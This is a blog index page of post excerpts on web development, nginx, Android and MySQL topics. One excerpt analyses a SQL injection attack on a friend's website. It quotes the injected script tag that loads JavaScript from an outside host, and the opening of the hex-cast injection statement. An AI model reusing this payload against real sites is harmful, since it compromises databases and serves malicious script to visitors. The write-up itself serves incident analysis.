摘要: testjs插件类库组织与管理在开发一个较大规模的网站,js插件类库应用的是相当多。那么自然在一个页面里就存在不少script和script相关的link标记,这样js组织与管理自然成了一大问题。先举个例子,比如jquery插件中的calendar在一个页面中就得有如下代码<style type="text/css">@import ""script/calendar/jquery.datepick.css";</style> <script type="text/javascript" src阅读全文
posted @ 2009-08-25 13:53 netcorner 阅读(3477) 评论(20) 编辑
摘要: 这几天朋友的网站天天被搞破坏的人恶意注入,也许是程序没写好的原因,数据库每个字段加了一段script(<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>,而这个script地址时不时的有变化)。用一些搜索引擎搜索下:/css/c.js></Script>,发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式:;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C00610072006500200040005400200阅读全文
posted @ 2008-12-29 15:03 netcorner 阅读(4244) 评论(37) 编辑
摘要: Web2.0带给我们更好的用户体验和更炫更酷的效果,javascript,flash, Silverlight都是跃跃欲试。目前应用最多的还是javascript,所以你会经常看到很多web2.0网站有n多的js和css,这时管理这些文件和如此多的代码怎么提性能提升的问题也来了。以下就来讲讲我目前想到的一些问题吧。 1.js和css引用时如何做到让请求进行并发下载。 我们通过firebug,就会发...阅读全文
posted @ 2008-08-04 12:35 netcorner 阅读(3699) 评论(31) 编辑
摘要: 这几天忙着解决并发性问题,一直也没好的解决方案,查过的一些资料也基本上就是数据库加琐,可我遇到这种情况估计用数据库加琐是很难解决的,下面大概描述这种情况: 当A,B用户(都具有该问这个模块权限的情况下)进入同一个管理列表时,数据都是相同的(因为当时可能还没有被修改),当时A用户就发现某条记录某项还没填写完整点击进去修改,此时B恰好也同时进入了该页面,也有想修改的意思。A用户把其中某项数据填写完整后提交了。而B看到这条记录,其实A用户已经填写完整了,但是他还不知道(看到的还是原先的信息),以为这下记录可能还存在问题,所以他在该记录信息的备注项,填写了“该信息未填写完整”,然后也提交上去。这时这.阅读全文
posted @ 2008-07-29 11:00 netcorner 阅读(2174) 评论(49) 编辑
摘要: 前篇文章主要谈了持久化是不是需要的问题,其实一开始我的想法还是觉得是需要持久层的,就像有人说的持久化可以使在编译时知道你的类型和赋值正与否,而使用那些容器确不能,此时也体现出强类型的好处。如果用类似Hashtable这些的容器会使编译通过,结果可能会在程序运行的时候出错。使用此等容器有好有坏,就如鱼和熊掌不能兼得一般,很难权衡(此等问题,还得再向园子大牛级人物讨教一下)。因为之前我也说过了,用实体层的话,可能会运用大量的反射过程,代价太高。在框架没设计验证时,我一开始就采用的是ORM那种思想,到框架加入验证想法,我的想法随之也改变了!上篇文章先说到这里,先谈谈我的框架中对验证层的相关设计吧!这阅读全文
posted @ 2008-07-22 10:02 netcorner 阅读(1939) 评论(18) 编辑
正文内容加载中...
posted @ 2017-10-15 15:57 netcorner 阅读(5) 评论(0) 编辑
摘要: #运行用户 #user www-data; #启动进程,通常设置成和cpu的数量相等 worker_processes 2; #全局错误日志及PID文件 error_log logs/error.log; error_log logs/error.log notice; error_log logs/error.log info; #pid logs/nginx.pid; #工作模式及...阅读全文
posted @ 2017-08-25 09:05 netcorner 阅读(234) 评论(0) 编辑
摘要: 目前Android SDK定义的Tag有:TAG_DATETIME 时间日期TAG_FLASH 闪光灯TAG_GPS_LATITUDE 纬度TAG_GPS_LATITUDE_REF 纬度参考TAG_GPS_LONGITUDE 经度TAG_GPS_LONGITUDE_REF 经度参考TAG_IMAGE阅读全文
posted @ 2017-08-03 15:30 netcorner 阅读(15) 评论(0) 编辑
摘要: DENSITYSIZELOCATIONRATIOSCREENMARGIN XXXHDPI 192×192 drawable-xxxhdpi 4 640 DPI 12 to 16 pixels XXHDPI 144×144 drawable-xxhdpi 3 480 DPI 8 to 12 pixel阅读全文
posted @ 2017-08-02 14:57 netcorner 阅读(5) 评论(0) 编辑
摘要: #user nobody; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections ...阅读全文
posted @ 2017-07-20 10:20 netcorner 阅读(10) 评论(0) 编辑
摘要: nginx会根据预先设置的权重转发请求, 若给某一台服务器转发请求时,达到默认超时时间未响应,则再向另一台服务器转发请求。 默认超时时间1分钟。 修改默认超时时间为1s:阅读全文
posted @ 2017-07-20 10:13 netcorner 阅读(865) 评论(0) 编辑
摘要: 1 获取证书 Nginx文件夹内获得SSL证书文件 1_www.domain.com_bundle.crt 和私钥文件 2_www.domain.com.key,1_www.domain.com_bundle.crt 文件包括两段证书代码 “ BEGIN CERTIFICATE ”和“ END CE阅读全文
posted @ 2017-07-20 10:06 netcorner 阅读(23) 评论(0) 编辑
摘要: MySQL中GROUP BY分组取前N条记录实现 mysql分组,取记录 GROUP BY之后如何取每组的前两位下面我来讲述mysql中GROUP BY分组取前N条记录实现方法。 这是测试表(也不知道怎么想的,当时表名直接敲了个aa,汗~~~~): 结果: 方法一: 拆开分析: LEFT JOIN 阅读全文
posted @ 2017-07-10 11:16 netcorner 阅读(14) 评论(0) 编辑
摘要: 准备环境 必需要有苹果开发者账号,并且加入了“iOS Developer Program” Mac OS 10.9以上系统(如果已经申请p12证书则不需要) 登录iOS Dev Center 打开网站iOS Dev Center使用苹果开发者账号登录iOS Dev Center:登录成功后在页面右侧阅读全文
posted @ 2017-07-04 14:06 netcorner 阅读(30) 评论(0) 编辑
摘要: Glide使用bitmap的编码问RGB565,所以有时的时候由于过度压缩导致了图片变绿。所以要改变一下Glide的bitmap编码。 import android.content.Context; import com.bumptech.glide.Glide; import com.bumpte阅读全文
posted @ 2017-06-19 15:43 netcorner 阅读(168) 评论(0) 编辑